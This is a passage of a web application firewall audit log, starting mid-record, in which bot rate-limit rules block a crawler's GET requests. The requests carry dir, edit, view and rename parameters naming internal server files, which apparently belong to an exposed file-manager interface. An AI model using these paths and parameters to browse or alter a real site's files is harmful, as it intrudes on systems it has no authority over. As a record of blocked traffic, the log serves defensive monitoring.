(Varnish/7.7)","X-Varnish":"5345246"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9ae92846060e8e920e3d9a254ff8ef4c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/new_jmk/connect-db.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":204,"p2":2155,"p3":0,"p4":0,"p5":514,"sr":166,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.631297 +0100","transaction_id":"abPOr2-XEucyBza91ntmYwAAAwM","remote_address":"216.73.216.152","remote_port":36524,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fapps.jmkconsulting-ci.com%2Fcore HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5f24640aa02e6b16d998b1a3b5155762","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13894599"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5f24640aa02e6b16d998b1a3b5155762","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/apps.jmkconsulting-ci.com/core& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":278,"p2":2748,"p3":0,"p4":0,"p5":409,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.657555 +0100","transaction_id":"abPOr-EAMg66iR7kG38g6wAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Findex1.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d1bc42f91366cd124b24266885cbaee6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028779"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d1bc42f91366cd124b24266885cbaee6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/index1.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":269,"p2":2501,"p3":0,"p4":0,"p5":472,"sr":124,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.703807 +0100","transaction_id":"abPOr-EAMg66iR7kG38g7AAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fnew_jmk%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b87a24dca99e4e3804bd291ee9d172c1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028782"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b87a24dca99e4e3804bd291ee9d172c1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/new_jmk/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":299,"p2":2480,"p3":0,"p4":0,"p5":428,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.746663 +0100","transaction_id":"abPOr7J190y1fElY11bngQAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2Ftailwind.config.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c683c161e7253f8ca8e3a837c3cbaf10","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028785"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c683c161e7253f8ca8e3a837c3cbaf10","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/tailwind.config.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":191,"p2":2595,"p3":0,"p4":0,"p5":486,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.768220 +0100","transaction_id":"abPOr7J190y1fElY11bnggAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Flisting-single.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fde4be4ad3df1e48ceb2acbf40ff56fa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345249"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fde4be4ad3df1e48ceb2acbf40ff56fa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/listing-single.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":261,"p2":2195,"p3":0,"p4":0,"p5":433,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.797295 +0100","transaction_id":"abPOr7J190y1fElY11bngwAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fagent-list.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"267b87823c16670d162befa619f32d4f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028788"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"267b87823c16670d162befa619f32d4f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/agent-list.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1772,"p3":0,"p4":0,"p5":405,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.830469 +0100","transaction_id":"abPOr7J190y1fElY11bnhAAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito.com%2Ffichiers HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bbcd01ec76e70cb3eb2cca71af157216","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345252"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bbcd01ec76e70cb3eb2cca71af157216","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito.com/fichiers& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":175,"p2":1712,"p3":0,"p4":0,"p5":306,"sr":114,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.854039 +0100","transaction_id":"abPOr7J190y1fElY11bnhQAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Flisting.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bc82a8bab6824de3162b7993c03f3b32","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345255"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bc82a8bab6824de3162b7993c03f3b32","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/listing.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":201,"p2":1743,"p3":0,"p4":0,"p5":291,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.865086 +0100","transaction_id":"abPOr7J190y1fElY11bnhgAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Fconfig HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1669b236fa99e610b02075226ce04677","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028793"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1669b236fa99e610b02075226ce04677","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/config& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1664,"p3":0,"p4":0,"p5":294,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.955796 +0100","transaction_id":"abPOr7J190y1fElY11bnhwAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fancien_jmk%2Fphpinfolws.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2f5e8a4b726a56efb77844367d05274c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2819876"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2f5e8a4b726a56efb77844367d05274c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ancien_jmk/phpinfolws.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":173,"p2":1859,"p3":0,"p4":0,"p5":328,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.046449 +0100","transaction_id":"abPOsLJ190y1fElY11bniAAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Flisting-single2.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"00892aff6caa0d155034524a56a45d89","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2819879"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"00892aff6caa0d155034524a56a45d89","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/listing-single2.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":195,"p2":1913,"p3":0,"p4":0,"p5":305,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:36.137347 +0100","transaction_id":"abPOsG-XEucyBza91ntmZAAAAwM","remote_address":"216.73.216.152","remote_port":36524,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Ffonts%2Fflaticon.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0770739b90aec4c0eae267ad4bbf99b2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13894602"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0770739b90aec4c0eae267ad4bbf99b2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/fonts/flaticon.html& P: 